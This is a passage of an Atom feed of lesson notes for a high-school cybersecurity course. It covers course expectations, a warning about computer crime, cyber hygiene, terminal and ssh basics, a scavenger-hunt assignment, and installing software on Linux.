<?xml version='1.0' encoding='UTF-8'?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><id>https://files.stuylinux.org/stuylinux/2025/Cyber/atom.xml</id><title>Cybersecurity</title><updated>2026-06-13T02:30:02.552713+00:00</updated><author><name>Mr. Konstantinovich</name><email>konstans</email></author><generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator><icon>https://files.stuylinux.org/stuylinux/2024/Systems/cestlaz.jpg</icon><logo>https://files.stuylinux.org/stuylinux/2024/Systems/cestlaz.jpg</logo><entry><id>2026-01-27n</id><title>2026-01-27</title><updated>2026-01-27T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-01-27n"&gt;
&lt;p&gt;&lt;strong&gt;2026-01-27&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;1. Expectations and Prior Knowledge&lt;/h2&gt;
&lt;h3&gt;Language Familiarity&lt;/h3&gt;
&lt;p&gt;All students are expected to be proficient in Java/Processing, and possibly other languages as well.&lt;/p&gt;
&lt;p&gt;While you are not required to know multiple languages, it would allow you to pick the best tool for the job on a lab where you are allowed to use any language you choose.&lt;/p&gt;
&lt;p&gt;It is very useful to know python in addition to a more strongly typed language.&lt;/p&gt;
&lt;h3&gt;Terminal Familiarity&lt;/h3&gt;
&lt;p&gt;I expect you all have had experience working with a terminal, and working with github. If you avoided using the terminal in the past, you have now run out of time to practice and will be required to use it going forward.&lt;/p&gt;
&lt;p&gt;This is a good place to see some of the basic skills you will all need:
     &lt;a href="https://ubuntu.com/tutorials/command-line-for-beginners#1-overview"&gt;https://ubuntu.com/tutorials/command-line-for-beginners#1-overview&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;I will go over commands and make them part of future assignments, but doing this now (when you are not swamped with other work) would make your later portions of the class go more smoothly.&lt;/p&gt;
&lt;p&gt;You are expected to be able to use the lab machines (and hopefully your personal devices) to be able to view/edit files and more. In the lab I expect that all students would be able to create a file in a particular directory and paste/edit code fairly quickly. (e.g. Paste some code into &lt;code&gt;Documents/cyber/classwork/2026-01-28/Demo.java&lt;/code&gt; ) &lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Working environment&lt;/h3&gt;
&lt;p&gt;
    Part of this course will be making sure you are able to use a wide variety of tools.
    Even though some tools will be replicated in a web based sandbox, there are
    instances where you will need to demonstrate you can use those tools outside
    of the sandbox (from your personal device).&lt;/p&gt;
&lt;p&gt;Please ensure you have a working Linux OS on your personal device.&lt;/p&gt;
&lt;p&gt;If you have a mac or linux computer, you already have one!&lt;/p&gt;
&lt;h3&gt;Mac&lt;/h3&gt;
&lt;p&gt;To work on a Mac computer you must install Xcode from the App Store.
    Run the following in a terminal to install xcode command line tools: &lt;code&gt;xcode-select --install&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Windows&lt;/h3&gt;
&lt;p&gt;Windows users can install WSL
    (a linux virtual machine) on your windows computers:&lt;/p&gt;
&lt;a href="https://docs.microsoft.com/en-us/windows/wsl/install"&gt;https://docs.microsoft.com/en-us/windows/wsl/install&lt;/a&gt;
&lt;h3&gt;Danger! Don't be stupid.&lt;/h3&gt;
&lt;p&gt;Anything you learn in this class can be used legally on your own computers, or with any computers you get permission to use. You must never "test out that cool thing" without permission.&lt;/p&gt;
&lt;p&gt;Crimes involving computers tend to be felonies and the prosecution has a lot of incentive to convict "hackers" regardless of the reasons or the scope of the crime.&lt;/p&gt;
&lt;p&gt;Please think before you act, and ask for permission before you act.&lt;/p&gt;
&lt;h2&gt;What does this course cover?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;cyber hygiene / keeping yourself safe&lt;/li&gt;
&lt;li&gt;Linux/command line proficiency
      &lt;ul&gt;
&lt;li&gt;Basic commands&lt;/li&gt;
&lt;li&gt;Specialized command line utilities&lt;/li&gt;
&lt;li&gt;Regular expressions&lt;/li&gt;
&lt;li&gt;Conversion of data&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;pre-computer encryption&lt;/li&gt;
&lt;li&gt;computer based encryption and its usage
      &lt;ul&gt;
&lt;li&gt;symmetric vs asymmetric keys&lt;/li&gt;
&lt;li&gt;public/private key pairs and usage&lt;/li&gt;
&lt;li&gt;https usage of encryption&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Ethical Hacking
      &lt;ul&gt;
&lt;li&gt;Reconnaissance using various scanning tools&lt;/li&gt;
&lt;li&gt;Various Exploits and attack vectors&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;steganography
      &lt;ul&gt;
&lt;li&gt;What is it?&lt;/li&gt;
&lt;li&gt;Image steganography implementation and exploration using Processing (the tool).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;2. What is Cybersecurity?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Cybersecurity is the practice of protecting digital data and infrastructure. &lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There are related security fields&lt;/p&gt;
&lt;p&gt;e.g. information security or even just... security.&lt;/p&gt;
&lt;p&gt;Physically securing your infrastructure is needed to protect digital things but that is beyond the scope of cybersecurity.&lt;/p&gt;
&lt;h3&gt;Why care about learning Cybersecurity?&lt;/h3&gt;
&lt;p&gt;Before going into the "what" question, let us touch upon the in-demand nature of the field.&lt;/p&gt;
&lt;p&gt;If you enjoy things in this class there are more jobs than qualified people to take them. They are well paying jobs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Basically:&lt;/strong&gt; They are paying you to play with computers!&lt;sup&gt;*&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;*&lt;/strong&gt;if playing with computers means being passionate about learning about a highly technical
    field and wanting to use this knowledge to do good!
  &lt;/p&gt;
&lt;h3&gt;What does Cybersecurity include?&lt;/h3&gt;
&lt;p&gt;There are many categories within cybersecurity:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Application security   &lt;/strong&gt; - programs including operating system&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network and infrastructure security&lt;/strong&gt; - including web/cloud systems&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Intrusion detection&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;penetration testing&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Digital forensics and incident response&lt;/strong&gt; - After the fact, figure out what happened, limit damage, and prevent future incidents&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Endpoint protection and mobile security&lt;/strong&gt; - protecting end-user devices such as desktops, laptops, and mobile devices&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data governance, risk and compliance&lt;/strong&gt; - practices to comply with government or industry rules/regulations.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are very broad categories, &lt;strong&gt;penetration testing &lt;/strong&gt; for example can be broken down further:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Physical Pen Testing&lt;/strong&gt; - Measure the effectiveness of security procedures, training, and controls by attempting physical access to an organization.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;External Pen Testing&lt;/strong&gt; - Find vulnerabilities that can be exploited by external attackers to access infrastructure or data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Internal Pen Testing&lt;/strong&gt; - Determining the possible impact of an attacker getting different kinds of credentials, and the level of access required to overcome the security.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web App Pen Testing&lt;/strong&gt; -  Find technical flaws or vulnerabilities in the web applications run by an organization&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PCI Pen Testing&lt;/strong&gt; - (Payment Card Industry) Validating security of credit card information.  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Red Teaming&lt;/strong&gt; - Simulation of a real attack using the same tactics that attackers would employ. This is a more holistic test.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is not mentioning the myriad of tools and techniques required. Some of which such as Cryptography are huge topics that you can study for years.&lt;/p&gt;
&lt;!-- ############################CHANGE THE NAME IN THE FUTURE 00############################ --&gt;
&lt;h2 id="2026-01-28h"&gt;HW01&lt;/h2&gt;
&lt;h3&gt;1. Information&lt;/h3&gt;
&lt;p&gt;Information gathering form for the semester: (log in as your schools.nyc account)  &lt;a href="https://forms.gle/asdDCrbJbY3sYmvGA"&gt;https://forms.gle/asdDCrbJbY3sYmvGA&lt;/a&gt; &lt;/p&gt;
&lt;h3&gt;2. Lab Access form:&lt;/h3&gt;
&lt;p&gt; &lt;a href="https://forms.gle/5GTFpBpGsNjahxgq7"&gt;https://forms.gle/5GTFpBpGsNjahxgq7&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;2. Familiarize yourself / Verify Your knowledge&lt;/h3&gt;
&lt;p&gt;Make sure you understand Sections: 3,4,5,6 and 8. &lt;a href="https://ubuntu.com/tutorials/command-line-for-beginners#1-overview"&gt;https://ubuntu.com/tutorials/command-line-for-beginners#1-overview&lt;/a&gt;&lt;/p&gt;
&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-01-27n"/><published>2026-01-27T12:00:00+00:00</published></entry><entry><id>2026-01-28n</id><title>2026-01-28</title><updated>2026-01-28T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-01-28n"&gt;
&lt;p&gt;&lt;strong&gt;2026-01-28&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Cyber Hygiene&lt;/h2&gt;
&lt;h3&gt;Terminology&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;hacker, attacker, intruder : People who seek to exploit weakness in computer systems for their own gain.&lt;/li&gt;
&lt;li&gt;vulnerability : Flaws in software, firmware, or hardware that can be exploited by anattacker to perform unauthorized operations on a system.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Hacking&lt;/h3&gt;
&lt;p&gt;~1950 MIT students. or 2024 Chinese/Russian government employees?&lt;/p&gt;
&lt;p&gt;
    The original use of the term hacker dates back to 1950-1960s at MIT.
    Students there enjoyed learning about and experimenting with technology.
    A hack was something innovative/ingenious in the arena of computers and technology.
    This positive connotation exists today in expressions like "life hacks"
    "cooking hacks" etc.
  &lt;/p&gt;
&lt;p&gt;
    This has evolved somewhat, and it is sometimes confusing because 'hacker' can
    have a positive or negative connotation: a creative engineering person, versus a cyber attacker, or even both.
  &lt;/p&gt;
&lt;h3&gt;Hacker Classification&lt;/h3&gt;
&lt;p&gt;Hackers can be classified into three different categories:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;White Hat - Ethical Hackers.
      The "good guys" that use their skills to help protect against attacks / find and report vulnerabilities / design secure systems etc.
      They have permission to try to hack into and detect vulnerabilities.
      They act in an open and professional manner to differentiate themselves from malicious hackers.

    &lt;/li&gt;
&lt;li&gt;Black Hat - Malicious Hackers.
      The "bad guys" that use their skills for malicious purposes.
      They can steal money and information or damage systems.
    &lt;/li&gt;
&lt;li&gt;Grey Hat - They do not have permission to gain access to a company's system or products,
      but find exploits with the intent of highlighting the problem. (often seeking a bounty/reward for doing so, not just going after posted bug bounties)
      They do not have malicious intent but their actions may be illegal.
    &lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;What is at risk? How can you protect yourself?&lt;/h2&gt;
&lt;h3&gt; What are possible losses due to a cyber attack?&lt;/h3&gt;
&lt;p&gt;Let us consider the possible impacts of cyber attacks? Think what can happen if you don't protect digital data and infrastructure...&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Financial&lt;/li&gt;
&lt;li&gt;Resource Unavailability / Misuse&lt;/li&gt;
&lt;li&gt;Data Loss&lt;/li&gt;
&lt;li&gt;Identity Theft&lt;/li&gt;
&lt;li&gt;Loss of Trust/Reputation&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Identity Theft&lt;/h3&gt;
&lt;p&gt;A crime where an attacker uses information that identifies a person for personal gain. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Data At Risk:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Name, Address, Phone number,&lt;/li&gt;
&lt;li&gt;DOB, SSN&lt;/li&gt;
&lt;li&gt;Credit Card / Bank info&lt;/li&gt;
&lt;li&gt;Driver's License / Passport&lt;/li&gt;
&lt;/ul&gt;
&lt;strong&gt;Effects of Identity Theft:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Loss of money:   Bank / Credit card fraud&lt;/li&gt;
&lt;li&gt;Actual Identity: Government ID or document theft/usage&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;What can an individual do to protect themselves?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Regularly Updating OS and applications&lt;/li&gt;
&lt;li&gt;Change default usernames and passwords on all devices&lt;/li&gt;
&lt;li&gt;&lt;ul class="subList"&gt;
&lt;li&gt;Strong Passwords&lt;/li&gt;
&lt;li&gt;Do not re-use Passwords&lt;/li&gt;
&lt;/ul&gt; &lt;/li&gt;
&lt;li&gt;Use MFA (multi factor authentication)&lt;/li&gt;
&lt;li&gt;Antivirus*&lt;/li&gt;
&lt;li&gt;Backup of important Files&lt;/li&gt;
&lt;li&gt;Using encryption and Digital Signatures&lt;/li&gt;
&lt;li&gt;Firewalls and intrusion detection systems&lt;/li&gt;
&lt;li&gt;Be suspicious of all email. Expected or otherwise&lt;/li&gt;
&lt;li&gt;Not revealing too much personal information on social networks&lt;/li&gt;
&lt;li&gt;Awareness of present world security scenarios and new attacks&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;*Regarding antivirus&lt;/h4&gt;
&lt;p&gt;Sometimes free antivirus isn't worth having. While Avast, AVG, and several other providers
    offer a free tier of protection, they are often filled with advertizements for the upgraded
    veresion of protection.&lt;/p&gt;
&lt;p&gt;Microsoft's windows defender is a great free option, but you may want to supplement that with something for your web browsing, or for additional malware detection.&lt;/p&gt;
&lt;h2 id="2026-01-30h"&gt;Homework02:&lt;/h2&gt;
&lt;h3&gt;Optional:&lt;/h3&gt;
&lt;p&gt;Some of you would do well to try &lt;a href="https://gitlab.com/slackermedia/bashcrawl"&gt;bashcrawl&lt;/a&gt; on your personal device. Some of you did this in another class, and we will do more advanced things later. Make sure you are able to do this. (I won't check, I will just assume you know it because you are all close enough to adults to feel the sting of consequences of your own actions or inaction) Yay consequences.&lt;/p&gt;
&lt;h3&gt;1. Your data&lt;/h3&gt;
&lt;p&gt;Back up all of your STUYCS lab data somewhere else. Your data is not protected and can be erased at any time. &lt;/p&gt;
&lt;p&gt;If you have anything that is not in a github repository, you might want to make one to store your old work (intro etc).&lt;/p&gt;
&lt;p&gt;Any GitHub repositories that you do not OWN (everything on GitHub classrooms), should be forked so you have a copy that you do in fact own, provided you wish to maintain it.&lt;/p&gt;
&lt;h3&gt;2. What you should you be doing now: (if you want to be safe)&lt;/h3&gt;
&lt;p&gt;The following are good practices that you should aim to do/start doing as soon as you can. There is no deadline and I won't check, but they will make you safer overall.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Update all of your software&lt;/li&gt;
&lt;li&gt;Turn on multi factor authentication for all of your accounts that support it.&lt;/li&gt;
&lt;li&gt;Migrate to a password manager. (Bitwarden or similar, do NOT use LastPass)&lt;/li&gt;
&lt;li&gt;Change all of your (important) passwords to a 16+ character long randomized string using your password manager prioritizing your most important accounts and working your way down the list.&lt;/li&gt;
&lt;li&gt;Install / Update (regularly) a reputable antivirus*&lt;/li&gt;
&lt;/ul&gt;
&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-01-28n"/><published>2026-01-28T12:00:00+00:00</published></entry><entry><id>2026-01-29n</id><title>2026-01-29</title><updated>2026-01-29T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-01-29n"&gt;
&lt;p&gt;&lt;strong&gt;2026-01-29&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Terminal-Fu&lt;/h2&gt;
&lt;p&gt;&lt;img alt="" src="img/terminalfu.jpg"/&gt; &lt;/p&gt;
&lt;h3&gt;the -fu suffix:&lt;/h3&gt;
&lt;p&gt;From: &lt;a href="https://en.wiktionary.org/wiki/-fu"&gt;https://en.wiktionary.org/wiki/-fu&lt;/a&gt; &lt;/p&gt;
&lt;p&gt; -fu : (slang) Used to form nouns indicating expertise or mastery of specified skill or area of knowledge.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Google + -fu : Google-fu &lt;/li&gt;
&lt;li&gt;script + -fu : script-fu &lt;/li&gt;
&lt;li&gt;My Google-fu is weak! &lt;/li&gt;
&lt;li&gt;Aragorn uses Ranger-fu to figure out that Sam and Frodo have taken a boat.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Etymology&lt;/h4&gt;
&lt;p&gt;From kung-fu.&lt;/p&gt;
&lt;h3&gt;Some extra Resources&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://ubuntu.com/tutorials/command-line-for-beginners#1-overview"&gt;https://ubuntu.com/tutorials/command-line-for-beginners#1-overview&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;What is a terminal emulator based on? &lt;a href="https://en.wikipedia.org/wiki/VT100"&gt;VT100 Terminal&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Terminal Emulators: &lt;a href="https://en.wikipedia.org/wiki/List_of_terminal_emulators"&gt;https://en.wikipedia.org/wiki/List_of_terminal_emulators&lt;/a&gt; &lt;/p&gt;
&lt;h3&gt;Terminal vs Shell&lt;/h3&gt;
&lt;p&gt;Terminal and shell are often used interchangeably much like arguments vs parameters.&lt;/p&gt;
&lt;p&gt;The terminal (Actually a terminal emulator) is the window that connects to another machine. This is based on a physical device called a terminal.&lt;/p&gt;
&lt;p&gt;The shell is the program running on the machine that is parsing your commands.&lt;/p&gt;
&lt;h3&gt;Common Problems&lt;/h3&gt;
&lt;p&gt;Often typing commands that you know, will cause results you do not expect.&lt;/p&gt;
&lt;p&gt;Echo is a simple command that prints to the terminal whatever text you give it.&lt;/p&gt;
&lt;pre class="codeblock"&gt;&lt;code&gt;
  $ echo hello, goodbye
  hello, goodbye
  $ echo "hello, goodbye"
  hello, goodbye
  $&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But if you mistype it:&lt;/p&gt;
&lt;pre class="codeblock"&gt;&lt;code&gt;
  $ echo "hello, goodbye
  &amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Oh No! You are stuck! &lt;/p&gt;
&lt;p&gt;There are several ways to fix this. One is to close your quotations, the other is to press Ctrl-C and ending the command.&lt;/p&gt;
&lt;h3&gt;Your 2nd best friend: ctrl-c&lt;/h3&gt;
  Here are some examples of commands that will make your terminal get stuck in some way:
  &lt;ul&gt;
&lt;li&gt;$ echo "hello&lt;/li&gt;
&lt;li&gt;$ grep foobar&lt;/li&gt;
&lt;li&gt;$ yes&lt;/li&gt;
&lt;li&gt;$ tail&lt;/li&gt;
&lt;li&gt;$ cat&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In every case, the solution is the same: hit Ctrl-C (pronounced "control-see"). Ctrl-C is sometimes written as ⌃C&lt;/p&gt;
&lt;h3&gt;Your best friend: Tab (the key above capslock)&lt;/h3&gt;
&lt;p&gt;When typing commands into the shell, many shells will allow for some form of autocompletion. The tab key triggers the auto complete functionality.&lt;/p&gt;
&lt;h3&gt;Other tools that you should know:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;cd&lt;/li&gt;
&lt;li&gt;cp and mv&lt;/li&gt;
&lt;li&gt;scp&lt;/li&gt;
&lt;li&gt;cat&lt;/li&gt;
&lt;li&gt;nano / micro&lt;/li&gt;
&lt;li&gt;ssh&lt;/li&gt;
&lt;li&gt;If you like to suffer:  vim , emacs&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;SSH&lt;/h3&gt;
&lt;p&gt;ssh is a secure shell program that lets you connect your terminal to a shell on a remote computer.
     This is used to run commands on that remote computer as if you were logged into it (because you log into it remotely).
   &lt;/p&gt;
&lt;pre&gt;
    &lt;code&gt;ssh username@hostAddress&lt;/code&gt;
  &lt;/pre&gt;
&lt;p&gt;The machines in this lab are all open to be ssh'ed using your STUYCS accounts.&lt;/p&gt;
&lt;p&gt;Marge is &lt;code&gt;149.89.40.100&lt;/code&gt; please do NOT use marge for general work.&lt;/p&gt;
&lt;p&gt;All other machines are: &lt;code&gt;149.89.40.1xx&lt;/code&gt; where xx is 01,02,03,... 31,32&lt;/p&gt;
&lt;p&gt;The command &lt;code&gt;ssh username@149.89.40.100&lt;/code&gt; would try to connect to marge, and ask your for your password for the cs lab.&lt;/p&gt;
&lt;p&gt;From marge, you can &lt;code&gt;ssh username@149.89.40.115&lt;/code&gt; to connect to &lt;code&gt;cslab4-15&lt;/code&gt; &lt;/p&gt;
&lt;h3&gt;Classwork Repo&lt;/h3&gt;
&lt;p&gt;Please clone and use this repo to store your day to day files and a
    few small assignments: &lt;a href="https://classroom.github.com/a/ciQpWNGs"&gt;https://classroom.github.com/a/ciQpWNGs&lt;/a&gt; &lt;/p&gt;
&lt;!-- ################## next year change this to be a dedicated period + hw. ################## --&gt;
&lt;h3&gt;Scavenger hunt!&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;YOU MUST NOT CLONE THIS IN YOUR HOME DIRECTORY!!!!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You will use your last 4 digits of your osis as your &lt;strong&gt;random seed&lt;/strong&gt; so you do not forget it.&lt;/p&gt;
&lt;p&gt;
      You can continue your scavenger hunt on another machine because you can recreate the scavenger hunt with
      the same &lt;strong&gt;random seed&lt;/strong&gt; as last time. You can SSH back into the lab computers, and recreate the hunt if it got deleted.
    &lt;/p&gt;
&lt;p&gt;You will be logging your scavenger hunt so please read the how to submit section!&lt;/p&gt;
&lt;p&gt;To get started:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Note which computer you are logged into. You can always ssh back here.&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code&gt;mkdir /tmp/`whoami`;cd /tmp/`whoami`;git clone https://github.com/pushingice/scavenger-hunt.git&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now you must read the README carefully and follow directions.&lt;/p&gt;
&lt;p&gt;Use the last4 digits of your osis as your secret number. (random seed)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you get lost please use: &lt;code&gt;cd /tmp/`whoami`/scavenger-hunt&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Try the hunt as it is intended, and when you finish it will show you a cool method you could have hacked the hunt from the start! &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not look into the python files, or use your python-fu to get your clues&lt;/strong&gt; as that completely circumvents the purpose of this activity.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If "which python" doesn't work as intended, try using "" as the result instead of "no python found" or similar.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Remember you can have more than one terminal open, for example one to display your information, and another to test commands.&lt;/p&gt;
&lt;p&gt;Note that the whoami command prints your username to stdout. The backticks insert the results of that into the terminal command.&lt;/p&gt;
&lt;!-- ############################CHANGE THE NAME IN THE FUTURE 01############################ --&gt;
&lt;h2 id="2026-01-29h"&gt;Homework00:&lt;/h2&gt;
&lt;h3&gt;How to submit:&lt;/h3&gt;
&lt;p&gt;Make a file: &lt;code&gt;~/CLASSWORK_REPONAME/00/scavenger.txt&lt;/code&gt; that is in the 00 directory of your classwork repo. &lt;/p&gt;
&lt;p&gt;This should be a plain text document no other file types!&lt;/p&gt;
&lt;p&gt;The file should contain: your name, seed, and all 12 of y our clues in the format:&lt;/p&gt;
&lt;pre class="codeblock"&gt;&lt;code&gt;Period,Last,First
seed
problem#,LOCATION, explanation how did you get this location
problem#,LOCATION, explanation how did you get this location
...
explanation at the end&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Your hint is exactly what you give to the nextclue command.&lt;/p&gt;
&lt;p&gt;Problem 12 requires an explanation of how you found it.&lt;/p&gt;
&lt;p&gt;After 12, please write an explanation of how easy/hard the hunt was for you, and if you used any alternative ways to find the solution(s)&lt;/p&gt;
&lt;p&gt;e.g.&lt;/p&gt;
&lt;pre class="codeblock"&gt;&lt;code&gt;09,Smith,Kenji
0210  #the seed (secret number needed for your quest.)
1,README, Mr.K told me to go here...
2,50240, the command foo gave me the hint fish
3,12394, using ls and combining the results got the hint 123
4,54133, i used the sudo command to pwn all
...(more lines)
12,20042,????
It was hard until I decided to used magic! The magic of the terminal! (not a good response)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Try your best, and don't worry if you get stuck! Posting on piazza will help you un-stuck yourself.&lt;/p&gt;
&lt;p&gt;There are ways around any commands that don't work due to permissions.&lt;/p&gt;
&lt;h2 id="2025-01-31h"&gt;Homework03:&lt;/h2&gt;
&lt;h3&gt;0. Join Piazza&lt;/h3&gt;
&lt;p&gt;You will be invited if you fill out the form from your 1st homework. If you didn't do that you can fix it...&lt;/p&gt;
&lt;h3&gt;1. Complete scavenger hunt (Due next class)&lt;/h3&gt;
&lt;h3&gt;2. Perusall (Due Monday to allow people to respond to others)&lt;/h3&gt;
&lt;p&gt;Join here: &lt;a href="https://app.perusall.com/join/KONSTANTINOVICH-DLW4V"&gt;https://app.perusall.com/join/KONSTANTINOVICH-DLW4V&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;If you do not join you will continue to acrue negative points until you do join!&lt;/p&gt;
&lt;p&gt;Please set your name properly to be your official DOE name if it is not set.&lt;/p&gt;
&lt;p&gt;Complete the academic dishonesty assignment
    You m ust annotate at least 2 times. (Your highest two meaningful comments/questions will be counted.)&lt;/p&gt;
&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-01-29n"/><published>2026-01-29T12:00:00+00:00</published></entry><entry><id>2026-01-30n</id><title>2026-01-30</title><updated>2026-01-30T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-01-30n"&gt;
&lt;h5&gt;2026-01-30&lt;/h5&gt;
&lt;h3&gt;Policies / Late work / etc&lt;/h3&gt;
&lt;p&gt;Class policies are on the landing page (click on the snake)&lt;/p&gt;
&lt;h2&gt;Software you need to know about&lt;/h2&gt;
&lt;p&gt;
    You will have to learn how to install a variety of tools. Installations are specific to your OS,
    but you can just follow the directions in most cases.
  &lt;/p&gt;
&lt;h3&gt;Windows Users:&lt;/h3&gt;
&lt;p&gt;
    windows 10 or 11 let you run linux in a window:
    &lt;a href="https://docs.microsoft.com/en-us/windows/wsl/install"&gt;WSL&lt;/a&gt;
    (Windows subsystem for linux is actually a linux subsystem for windows...)
  &lt;/p&gt;
&lt;p&gt;
    If you don't want to use linux or you also want to install tools to use with powershell,
    then look into &lt;a href="https://chocolatey.org/"&gt;chocolatey&lt;/a&gt;
&lt;/p&gt;
&lt;h3&gt;For linux: sudo&lt;/h3&gt;
&lt;p&gt;
    sudo is a program already installed on unix and linux operating systems that enables
    users to run programs with the security privileges of another user, by default
    the superuser.
  &lt;/p&gt;
&lt;p&gt;
    You do NOT have sudo permission on the school system,
    but you do on your personal devices, and on your WSL installation.
  &lt;/p&gt;
&lt;p&gt;Windows does not have an equivalent command.&lt;/p&gt;
&lt;h3&gt;Installing software / Updating&lt;/h3&gt;
&lt;p&gt;On your linux distributions, you often can install software with a single command in the terminal!&lt;/p&gt;
&lt;p&gt;Prior to installing anything you should update:&lt;/p&gt;
&lt;h4&gt;update your linux first:&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update
sudo apt upgrade&lt;/code&gt; &lt;/pre&gt;
&lt;h4&gt;Then install software you need: (cowsay is an example)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install cowsay&lt;/code&gt; &lt;/pre&gt;
&lt;h3&gt;grep&lt;/h3&gt;
&lt;p&gt;Regarding grep: g/re/p &lt;strong&gt;G&lt;/strong&gt;lobally search for a &lt;strong&gt;R&lt;/strong&gt;egular &lt;strong&gt;E&lt;/strong&gt;xpression and &lt;strong&gt;P&lt;/strong&gt;rint matching lines&lt;/p&gt;
&lt;p&gt;grep is a great filtering tool to help reduce large outputs to just the parts you care about.&lt;/p&gt;
&lt;h3&gt;Python&lt;/h3&gt;
&lt;p&gt; Both &lt;strong&gt;Python 2 and 3&lt;/strong&gt; are very useful. Some programs only exist in one version or the other, so it is always helpful to be able to use either.&lt;/p&gt;
&lt;p&gt;Even if you do not plan on coding in python it is useful to be able to run commands in both python 2 and 3. When you install both, you must be careful which you are actually running.&lt;/p&gt;
&lt;p&gt;Do not use the command &lt;code&gt;python&lt;/code&gt; in your scripts/makefiles. When writing scripts you should &lt;strong&gt;explicitly call &lt;code&gt;python2&lt;/code&gt; or &lt;code&gt;python3&lt;/code&gt; &lt;/strong&gt; rather than assume that &lt;code&gt;python&lt;/code&gt; will call the correct version!&lt;/p&gt;
&lt;h3&gt;Shell configuration&lt;/h3&gt;
&lt;p&gt;You do not have to keep your shell in the default configuration.&lt;/p&gt;
&lt;p&gt;Bash has a &lt;code&gt;.bashrc&lt;/code&gt; file, zsh has a &lt;code&gt;.zshrc&lt;/code&gt; file. In these files (and a few others like &lt;code&gt;.bash_profile&lt;/code&gt; ) you can add customizations such as aliasing commands to other commands with particular arguments.&lt;/p&gt;
&lt;ul&gt;
